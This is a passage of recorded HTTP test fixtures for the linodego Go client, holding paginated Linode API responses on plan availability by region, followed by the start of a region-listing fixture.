"g7-premium-48", "available": true}, {"region": "us-iad", "plan": "g7-premium-50", "available": true}, {"region": "us-iad", "plan": "g7-premium-56", "available": true}, {"region": "us-iad", "plan": "g7-premium-64", "available": true}, {"region": "us-iad", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-iad", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-iad", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-iad", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-iad", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "us-ord", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-ord", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "us-ord", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-ord", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-ord", "plan": "g7-premium-2", "available": true}, {"region": "us-ord", "plan": "g7-premium-4", "available": true}, {"region": "us-ord", "plan": "g7-premium-8", "available": true}, {"region": "us-ord", "plan": "g7-premium-16", "available": true}, {"region": "us-ord", "plan": "g7-premium-32", "available": true}, {"region": "us-ord", "plan": "g7-premium-48", "available": true}, {"region": "us-ord", "plan": "g7-premium-50", "available": true}, {"region": "us-ord", "plan": "g7-premium-56", "available": true}, {"region": "us-ord", "plan": "g7-premium-64", "available": true}, {"region": "us-ord", "plan": "g1-gpu-rtx4000a-1", "available": true}, {"region": "us-ord", "plan": "g1-gpu-rtx4000a-2", "available": true}, {"region": "us-ord", "plan": "g1-gpu-rtx4000a-4", "available": true}, {"region": "us-ord", "plan": "g1-gpu-rtx4000a-6", "available": true}, {"region": "us-ord", "plan": "g1-gpu-rtx4000a-8", "available": true}, {"region": "fr-par", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "fr-par", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "fr-par", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "fr-par", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "fr-par", "plan": "g7-premium-2", "available": true}, {"region": "fr-par", "plan": "g7-premium-4", "available": true}, {"region": "fr-par", "plan": "g7-premium-8", "available": true}, {"region": "fr-par", "plan": "g7-premium-16", "available": true}, {"region": "fr-par", "plan": "g7-premium-32", "available": true}, {"region": "fr-par", "plan": "g7-premium-48", "available": true}, {"region": "fr-par", "plan": "g7-premium-50", "available": true}, {"region": "fr-par", "plan": "g7-premium-56", "available": true}, {"region": "fr-par", "plan": "g7-premium-64", "available": true}, {"region": "fr-par", "plan": "g1-gpu-rtx4000a-1", "available": true}, {"region": "fr-par", "plan": "g1-gpu-rtx4000a-2", "available": true}, {"region": "fr-par", "plan": "g1-gpu-rtx4000a-4", "available": true}, {"region": "fr-par", "plan": "g1-gpu-rtx4000a-6", "available": true}, {"region": "fr-par", "plan": "g1-gpu-rtx4000a-8", "available": true}, {"region": "us-sea", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-sea", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "us-sea", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-sea", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-sea", "plan": "g7-premium-2", "available": true}, {"region": "us-sea", "plan": "g7-premium-4", "available": true}, {"region": "us-sea", "plan": "g7-premium-8", "available": true}, {"region": "us-sea", "plan": "g7-premium-16", "available": true}, {"region": "us-sea", "plan": "g7-premium-32", "available": true}, {"region": "us-sea", "plan": "g7-premium-48", "available": true}, {"region": "us-sea", "plan": "g7-premium-50", "available": true}, {"region": "us-sea", "plan": "g7-premium-56", "available": true}, {"region": "us-sea", "plan": "g7-premium-64", "available": false}, {"region": "us-sea", "plan": "g1-gpu-rtx4000a-1", "available": true}, {"region": "us-sea", "plan": "g1-gpu-rtx4000a-2", "available": true}, {"region": "us-sea", "plan": "g1-gpu-rtx4000a-4", "available": true}, {"region": "us-sea", "plan": "g1-gpu-rtx4000a-6", "available": true}, {"region": "us-sea", "plan": "g1-gpu-rtx4000a-8", "available": true}, {"region": "br-gru", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "br-gru", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "br-gru", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "br-gru", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "br-gru", "plan": "g7-premium-2", "available": true}, {"region": "br-gru", "plan": "g7-premium-4", "available": true}, {"region": "br-gru", "plan": "g7-premium-8", "available": true}, {"region": "br-gru", "plan": "g7-premium-16", "available": true}, {"region": "br-gru", "plan": "g7-premium-32", "available": true}, {"region": "br-gru", "plan": "g7-premium-48", "available": true}, {"region": "br-gru", "plan": "g7-premium-50", "available": true}, {"region": "br-gru", "plan": "g7-premium-56", "available": true}, {"region": "br-gru", "plan": "g7-premium-64", "available": true}, {"region": "br-gru", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "br-gru", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "br-gru", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "br-gru", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "br-gru", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "nl-ams", "plan": "g7-premium-2", "available": true}, {"region": "nl-ams", "plan": "g7-premium-4", "available": true}, {"region": "nl-ams", "plan": "g7-premium-8", "available": true}, {"region": "nl-ams", "plan": "g7-premium-16", "available": true}, {"region": "nl-ams", "plan": "g7-premium-32", "available": true}, {"region": "nl-ams", "plan": "g7-premium-48", "available": true}, {"region": "nl-ams", "plan": "g7-premium-50", "available": true}, {"region": "nl-ams", "plan": "g7-premium-56", "available": true}], "page": 3, "pages": 5, "results": 486}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:27:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=5 method: GET response: body: '{"data": [{"region": "us-mia", "plan": "g7-premium-2", "available": true}, {"region": "us-mia", "plan": "g7-premium-4", "available": true}, {"region": "us-mia", "plan": "g7-premium-8", "available": true}, {"region": "us-mia", "plan": "g7-premium-16", "available": true}, {"region": "us-mia", "plan": "g7-premium-32", "available": true}, {"region": "us-mia", "plan": "g7-premium-48", "available": true}, {"region": "us-mia", "plan": "g7-premium-50", "available": true}, {"region": "us-mia", "plan": "g7-premium-56", "available": true}, {"region": "us-mia", "plan": "g7-premium-64", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "id-cgk", "plan": "g7-premium-2", "available": true}, {"region": "id-cgk", "plan": "g7-premium-4", "available": true}, {"region": "id-cgk", "plan": "g7-premium-8", "available": true}, {"region": "id-cgk", "plan": "g7-premium-16", "available": true}, {"region": "id-cgk", "plan": "g7-premium-32", "available": true}, {"region": "id-cgk", "plan": "g7-premium-48", "available": true}, {"region": "id-cgk", "plan": "g7-premium-50", "available": true}, {"region": "id-cgk", "plan": "g7-premium-56", "available": true}, {"region": "id-cgk", "plan": "g7-premium-64", "available": true}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-lax", "plan": "g7-premium-2", "available": true}, {"region": "us-lax", "plan": "g7-premium-4", "available": true}, {"region": "us-lax", "plan": "g7-premium-8", "available": true}, {"region": "us-lax", "plan": "g7-premium-16", "available": true}, {"region": "us-lax", "plan": "g7-premium-32", "available": true}, {"region": "us-lax", "plan": "g7-premium-48", "available": true}, {"region": "us-lax", "plan": "g7-premium-50", "available": true}, {"region": "us-lax", "plan": "g7-premium-56", "available": true}, {"region": "us-lax", "plan": "g7-premium-64", "available": true}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "gb-lon", "plan": "g7-premium-2", "available": true}, {"region": "gb-lon", "plan": "g7-premium-4", "available": true}, {"region": "gb-lon", "plan": "g7-premium-8", "available": true}, {"region": "gb-lon", "plan": "g7-premium-16", "available": true}, {"region": "gb-lon", "plan": "g7-premium-32", "available": true}, {"region": "gb-lon", "plan": "g7-premium-48", "available": true}, {"region": "gb-lon", "plan": "g7-premium-50", "available": true}, {"region": "gb-lon", "plan": "g7-premium-56", "available": true}, {"region": "gb-lon", "plan": "g7-premium-64", "available": true}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "au-mel", "plan": "g7-premium-2", "available": true}, {"region": "au-mel", "plan": "g7-premium-4", "available": true}, {"region": "au-mel", "plan": "g7-premium-8", "available": true}, {"region": "au-mel", "plan": "g7-premium-16", "available": true}, {"region": "au-mel", "plan": "g7-premium-32", "available": true}, {"region": "au-mel", "plan": "g7-premium-48", "available": true}, {"region": "au-mel", "plan": "g7-premium-50", "available": true}, {"region": "au-mel", "plan": "g7-premium-56", "available": true}, {"region": "au-mel", "plan": "g7-premium-64", "available": true}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-8", "available": false}], "page": 5, "pages": 5, "results": 486}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 14:05:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=4 method: GET response: body: '{"data": [{"region": "nl-ams", "plan": "g7-premium-64", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "nl-ams", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "se-sto", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "se-sto", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "se-sto", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "se-sto", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "se-sto", "plan": "g7-premium-2", "available": true}, {"region": "se-sto", "plan": "g7-premium-4", "available": true}, {"region": "se-sto", "plan": "g7-premium-8", "available": true}, {"region": "se-sto", "plan": "g7-premium-16", "available": true}, {"region": "se-sto", "plan": "g7-premium-32", "available": true}, {"region": "se-sto", "plan": "g7-premium-48", "available": true}, {"region": "se-sto", "plan": "g7-premium-50", "available": true}, {"region": "se-sto", "plan": "g7-premium-56", "available": true}, {"region": "se-sto", "plan": "g7-premium-64", "available": true}, {"region": "se-sto", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "se-sto", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "se-sto", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "se-sto", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "se-sto", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "es-mad", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "es-mad", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "es-mad", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "es-mad", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "es-mad", "plan": "g7-premium-2", "available": true}, {"region": "es-mad", "plan": "g7-premium-4", "available": true}, {"region": "es-mad", "plan": "g7-premium-8", "available": true}, {"region": "es-mad", "plan": "g7-premium-16", "available": true}, {"region": "es-mad", "plan": "g7-premium-32", "available": true}, {"region": "es-mad", "plan": "g7-premium-48", "available": true}, {"region": "es-mad", "plan": "g7-premium-50", "available": true}, {"region": "es-mad", "plan": "g7-premium-56", "available": true}, {"region": "es-mad", "plan": "g7-premium-64", "available": true}, {"region": "es-mad", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "es-mad", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "es-mad", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "es-mad", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "es-mad", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "in-maa", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "in-maa", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "in-maa", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "in-maa", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "in-maa", "plan": "g7-premium-2", "available": true}, {"region": "in-maa", "plan": "g7-premium-4", "available": true}, {"region": "in-maa", "plan": "g7-premium-8", "available": true}, {"region": "in-maa", "plan": "g7-premium-16", "available": true}, {"region": "in-maa", "plan": "g7-premium-32", "available": true}, {"region": "in-maa", "plan": "g7-premium-48", "available": true}, {"region": "in-maa", "plan": "g7-premium-50", "available": true}, {"region": "in-maa", "plan": "g7-premium-56", "available": true}, {"region": "in-maa", "plan": "g7-premium-64", "available": true}, {"region": "in-maa", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "in-maa", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "in-maa", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "in-maa", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "in-maa", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "jp-osa", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "jp-osa", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "jp-osa", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "jp-osa", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "jp-osa", "plan": "g7-premium-2", "available": true}, {"region": "jp-osa", "plan": "g7-premium-4", "available": true}, {"region": "jp-osa", "plan": "g7-premium-8", "available": true}, {"region": "jp-osa", "plan": "g7-premium-16", "available": true}, {"region": "jp-osa", "plan": "g7-premium-32", "available": true}, {"region": "jp-osa", "plan": "g7-premium-48", "available": true}, {"region": "jp-osa", "plan": "g7-premium-50", "available": true}, {"region": "jp-osa", "plan": "g7-premium-56", "available": true}, {"region": "jp-osa", "plan": "g7-premium-64", "available": true}, {"region": "jp-osa", "plan": "g1-gpu-rtx4000a-1", "available": true}, {"region": "jp-osa", "plan": "g1-gpu-rtx4000a-2", "available": true}, {"region": "jp-osa", "plan": "g1-gpu-rtx4000a-4", "available": true}, {"region": "jp-osa", "plan": "g1-gpu-rtx4000a-6", "available": true}, {"region": "jp-osa", "plan": "g1-gpu-rtx4000a-8", "available": true}, {"region": "it-mil", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "it-mil", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "it-mil", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "it-mil", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "it-mil", "plan": "g7-premium-2", "available": true}, {"region": "it-mil", "plan": "g7-premium-4", "available": true}, {"region": "it-mil", "plan": "g7-premium-8", "available": true}, {"region": "it-mil", "plan": "g7-premium-16", "available": true}, {"region": "it-mil", "plan": "g7-premium-32", "available": true}, {"region": "it-mil", "plan": "g7-premium-48", "available": true}, {"region": "it-mil", "plan": "g7-premium-50", "available": true}, {"region": "it-mil", "plan": "g7-premium-56", "available": true}, {"region": "it-mil", "plan": "g7-premium-64", "available": false}, {"region": "it-mil", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "it-mil", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "it-mil", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "it-mil", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "it-mil", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx6000-4", "available": false}], "page": 4, "pages": 5, "results": 486}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 14:05:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=5 method: GET response: body: '{"data": [{"region": "us-mia", "plan": "g7-premium-2", "available": true}, {"region": "us-mia", "plan": "g7-premium-4", "available": true}, {"region": "us-mia", "plan": "g7-premium-8", "available": true}, {"region": "us-mia", "plan": "g7-premium-16", "available": true}, {"region": "us-mia", "plan": "g7-premium-32", "available": true}, {"region": "us-mia", "plan": "g7-premium-48", "available": true}, {"region": "us-mia", "plan": "g7-premium-50", "available": true}, {"region": "us-mia", "plan": "g7-premium-56", "available": true}, {"region": "us-mia", "plan": "g7-premium-64", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-mia", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "id-cgk", "plan": "g7-premium-2", "available": true}, {"region": "id-cgk", "plan": "g7-premium-4", "available": true}, {"region": "id-cgk", "plan": "g7-premium-8", "available": true}, {"region": "id-cgk", "plan": "g7-premium-16", "available": true}, {"region": "id-cgk", "plan": "g7-premium-32", "available": true}, {"region": "id-cgk", "plan": "g7-premium-48", "available": true}, {"region": "id-cgk", "plan": "g7-premium-50", "available": true}, {"region": "id-cgk", "plan": "g7-premium-56", "available": true}, {"region": "id-cgk", "plan": "g7-premium-64", "available": true}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "id-cgk", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "us-lax", "plan": "g7-premium-2", "available": true}, {"region": "us-lax", "plan": "g7-premium-4", "available": true}, {"region": "us-lax", "plan": "g7-premium-8", "available": true}, {"region": "us-lax", "plan": "g7-premium-16", "available": true}, {"region": "us-lax", "plan": "g7-premium-32", "available": true}, {"region": "us-lax", "plan": "g7-premium-48", "available": true}, {"region": "us-lax", "plan": "g7-premium-50", "available": true}, {"region": "us-lax", "plan": "g7-premium-56", "available": true}, {"region": "us-lax", "plan": "g7-premium-64", "available": true}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "us-lax", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "gb-lon", "plan": "g7-premium-2", "available": true}, {"region": "gb-lon", "plan": "g7-premium-4", "available": true}, {"region": "gb-lon", "plan": "g7-premium-8", "available": true}, {"region": "gb-lon", "plan": "g7-premium-16", "available": true}, {"region": "gb-lon", "plan": "g7-premium-32", "available": true}, {"region": "gb-lon", "plan": "g7-premium-48", "available": true}, {"region": "gb-lon", "plan": "g7-premium-50", "available": true}, {"region": "gb-lon", "plan": "g7-premium-56", "available": true}, {"region": "gb-lon", "plan": "g7-premium-64", "available": true}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "gb-lon", "plan": "g1-gpu-rtx4000a-8", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx6000-1", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx6000-2", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx6000-3", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx6000-4", "available": false}, {"region": "au-mel", "plan": "g7-premium-2", "available": true}, {"region": "au-mel", "plan": "g7-premium-4", "available": true}, {"region": "au-mel", "plan": "g7-premium-8", "available": true}, {"region": "au-mel", "plan": "g7-premium-16", "available": true}, {"region": "au-mel", "plan": "g7-premium-32", "available": true}, {"region": "au-mel", "plan": "g7-premium-48", "available": true}, {"region": "au-mel", "plan": "g7-premium-50", "available": true}, {"region": "au-mel", "plan": "g7-premium-56", "available": true}, {"region": "au-mel", "plan": "g7-premium-64", "available": true}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-1", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-2", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-4", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-6", "available": false}, {"region": "au-mel", "plan": "g1-gpu-rtx4000a-8", "available": false}], "page": 5, "pages": 5, "results": 486}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 14:05:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestRegions_List.yaml000066400000000000000000000515111474652371000307140ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 